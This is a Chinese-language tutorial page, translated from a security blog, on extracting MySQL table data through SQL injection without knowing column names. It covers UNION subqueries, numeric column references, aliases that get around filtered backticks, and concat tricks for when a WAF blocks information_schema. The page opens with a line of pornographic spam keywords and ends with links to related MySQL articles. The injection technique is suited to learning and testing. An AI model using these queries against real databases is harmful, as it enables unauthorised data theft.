欧美bbbwbbbw肥妇,免费乱码人妻系列日韩,一级黄片

MySQL在不知道列名情況下的注入詳解

 更新時(shí)間:2019年03月23日 10:07:43   作者:Se7en  
這篇文章主要給大家介紹了關(guān)于MySQL在不知道列名情況下的注入的相關(guān)資料,文中通過示例代碼介紹的非常詳細(xì),對大家學(xué)習(xí)或者使用mysql具有一定的參考學(xué)習(xí)價(jià)值,需要的朋友們下面來一起學(xué)習(xí)學(xué)習(xí)吧

前言

最近感覺腦子空空,全在為了刷洞去挖洞,還是回歸技術(shù)的本身讓自己舒服些。好了,下面話不多說了,來一起看看詳細(xì)的介紹吧

前提

以下情況適用于 MySQL < 5版本,或者在 MySQL >= 5 的版本[存在information_schema庫],且已獲取到庫名和表名

① 當(dāng)只能獲取到表名,獲取不到列名或者只能獲取到無有效內(nèi)容的列名情況【例如 id】

② 當(dāng)希望通過information_schema庫中的表去獲取其他表的結(jié)構(gòu),即表名、列名等,但是這個(gè)庫被WAF過濾掉的情況

其實(shí)個(gè)人感覺這個(gè)方法還是對 5 版本以下的實(shí)用性比較強(qiáng)一些,因?yàn)閷ξ襾碚f,一般遇到waf就放棄了(菜的真實(shí)23333)

解決

正常的查詢:

以下是正常查詢 test 庫中的 user 表內(nèi)容

select * from user;

UNION查詢:

select 1,2,3,4 union select * from user;

數(shù)字對應(yīng)列查詢:

可以使用數(shù)字來對應(yīng)列來進(jìn)行查詢,如 2 對應(yīng)了表里面的 name 列

select `2` from (select 1,2,3,4 union select * from user)a;

別名代替查詢:

當(dāng)反引號 ` 不能使用的時(shí)候,可以使用別名來代替,如設(shè)置 2 的別名為 b

select b from (select 1,2 as b,3,4 union select * from user)a;

多列合并查詢:

同上:這里反引號不能用的話,一樣可以使用別名代替

select concat(`2`,0x3a,`3`) from (select 1,2,3,4 union select * from user)a limit 1,1;

僅作翻譯以及思路整理

原文鏈接:https://blog.redforce.io/sqli-extracting-data-without-knowing-columns-names/

總結(jié)

以上就是這篇文章的全部內(nèi)容了,希望本文的內(nèi)容對大家的學(xué)習(xí)或者工作具有一定的參考學(xué)習(xí)價(jià)值,謝謝大家對腳本之家的支持。

相關(guān)文章

  • MySQL存儲過程的查看與刪除實(shí)例講解

    MySQL存儲過程的查看與刪除實(shí)例講解

    存儲過程存儲過程在創(chuàng)建之后,被保存在服務(wù)器上以供使用,直至被刪除,下面這篇文章主要給大家介紹了關(guān)于MySQL存儲過程的查看與刪除的相關(guān)資料,文中通過實(shí)例代碼介紹的非常詳細(xì),需要的朋友可以參考下
    2023-03-03
  • MySQL修改時(shí)區(qū)的方法圖文詳解

    MySQL修改時(shí)區(qū)的方法圖文詳解

    這篇文章主要給大家介紹了關(guān)于MySQL修改時(shí)區(qū)的相關(guān)資料,時(shí)區(qū)是MySQL中非常重要的概念,正確設(shè)置時(shí)區(qū)可以確保應(yīng)用程序工作正常并避免時(shí)間錯(cuò)誤,文中通過圖文介紹的非常詳細(xì),需要的朋友可以參考下
    2023-09-09
  • MySql修改數(shù)據(jù)庫編碼為UTF8避免造成亂碼問題

    MySql修改數(shù)據(jù)庫編碼為UTF8避免造成亂碼問題

    mysql 創(chuàng)建數(shù)據(jù)庫時(shí)指定編碼很重要,很多開發(fā)者都使用了默認(rèn)編碼,亂碼問題可是防不勝防,下面與大家分享下通過修改數(shù)據(jù)庫默認(rèn)編碼方式為UTF8來減少數(shù)據(jù)庫創(chuàng)建時(shí)的設(shè)置,避免因粗心造成的亂碼問題
    2013-06-06
  • mysql 如何動(dòng)態(tài)修改復(fù)制過濾器

    mysql 如何動(dòng)態(tài)修改復(fù)制過濾器

    這篇文章主要介紹了mysql 如何動(dòng)態(tài)修改復(fù)制過濾器,幫助大家更好的理解和使用MySQL,感興趣的朋友可以了解下
    2020-11-11
  • mysql給id設(shè)置默認(rèn)值為UUID的實(shí)現(xiàn)方法

    mysql給id設(shè)置默認(rèn)值為UUID的實(shí)現(xiàn)方法

    由于mysql并不支持默認(rèn)值為函數(shù)類型,給id設(shè)值有兩種方式,本文主要介紹了mysql給id設(shè)置默認(rèn)值為UUID的實(shí)現(xiàn)方法,具有一定的參考價(jià)值,感興趣的可以了解一下
    2023-08-08
  • mysql 一次更新(update)多條記錄的思路

    mysql 一次更新(update)多條記錄的思路

    這篇文章主要介紹了mysql 一次更新(update)多條記錄的思路,需要的朋友可以參考下
    2014-06-06
  • mysql免安裝版配置教程

    mysql免安裝版配置教程

    這篇文章主要為大家詳細(xì)介紹了mysql免安裝版配置教程,具有一定的參考價(jià)值,感興趣的小伙伴們可以參考一下
    2017-01-01
  • mysql正確安全清空在線慢查詢?nèi)罩緎low log的流程分享

    mysql正確安全清空在線慢查詢?nèi)罩緎low log的流程分享

    這篇文章主要介紹了正確安全清空在線慢查詢?nèi)罩緎low log的流程,需要的朋友可以參考下
    2014-02-02
  • MySQL 8.0 redo log的深入解析

    MySQL 8.0 redo log的深入解析

    這篇文章主要介紹了MySQL 8.0 redo log的深入解析,幫助大家更好的理解和學(xué)習(xí)使用MySQL數(shù)據(jù)庫,感興趣的朋友可以了解下
    2021-03-03
  • Mysql中如何批量替換某個(gè)字段的值:replace

    Mysql中如何批量替換某個(gè)字段的值:replace

    這篇文章主要介紹了Mysql中如何批量替換某個(gè)字段的值:replace,具有很好的參考價(jià)值,希望對大家有所幫助。如有錯(cuò)誤或未考慮完全的地方,望不吝賜教
    2022-09-09

最新評論